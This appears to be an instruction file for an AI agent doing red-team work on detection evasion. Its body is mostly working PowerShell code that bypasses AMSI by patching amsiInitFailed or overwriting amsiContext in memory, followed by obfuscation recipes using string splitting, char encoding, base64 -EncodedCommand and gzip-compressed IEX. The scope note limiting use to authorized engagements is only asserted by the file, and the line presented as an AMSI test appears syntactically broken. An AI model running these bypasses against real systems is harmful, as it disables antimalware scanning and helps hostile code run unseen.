evasion

Cybersecurity Skills (Invoke First)

Before working on evasion techniques, invoke these skills via the Skill tool:

• cybersecurity-skills:detecting-evasion-techniques-in-endpoint-logs
• cybersecurity-skills:hunting-for-living-off-the-land-binaries
• cybersecurity-skills:detecting-living-off-the-land-attacks
• cybersecurity-skills:detecting-living-off-the-land-with-lolbas
• cybersecurity-skills:hunting-for-lolbins-execution-in-endpoint-logs
• cybersecurity-skills:detecting-fileless-attacks-on-endpoints
• cybersecurity-skills:detecting-fileless-malware-techniques

Scope Enforcement

Evasion techniques are ONLY for authorized red team engagements listed in scope.txt. All techniques documented here are for detection gap identification and defensive hardening. Document every technique attempted and whether it triggered detection — this is the deliverable.

AMSI Bypass (PowerShell)

# AMSI = Antimalware Scan Interface — patches memory to disable scanning
# Technique 1: AmsiUtils field patching (common, often detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Technique 2: Reflection-based AMSI context patching
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
$c=$b.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteByte($c, 0x41)  # overwrite first byte

# Technique 3: String splitting to avoid string-based detection
$a = 'Am' + 'siScanBuffer'
$b = 'Am' + 'si.dll'
# Continue obfuscating...

# Test if AMSI is disabled:
[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((Add-Type -MemberDefinition '[DllImport("amsi.dll")] public static extern int AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr amsiSession, out int result);' -Name AMSI -PassThru)::[AmsiScanBuffer]).Invoke

PowerShell Obfuscation

# Invoke-Obfuscation techniques (for authorized testing):

# Token-level obfuscation — variable names, whitespace, string concat
$e = "I" + "EX"; & $e ("Write" + "-Host 'Test'")

# ASCII character encoding
[char]73+[char]69+[char]88  # IEX

# Base64 encoding (common — often detected)
$cmd = "Write-Host 'Test'"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -EncodedCommand $encoded

# Compression + base64
$cmd = "Write-Host 'Test Compression'"
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$ms = New-Object IO.MemoryStream
$gz = New-Object IO.Compression.GzipStream($ms, [IO.Compression.CompressionMode]::Compress)
$gz.Write($bytes, 0, $bytes.Length); $gz.Close()
$encoded = [Convert]::ToBase64String($ms.ToArray())
# Decompress at runtime:
# IEX ([IO.StreamReader]::new([IO.Compression.GzipStream]::new([IO.MemoryStream]::new([Convert]::FromBase64String($encoded)), [IO.Compression.CompressionMode]::Decompress), [Text.Encoding]::Unicode)).ReadToEnd()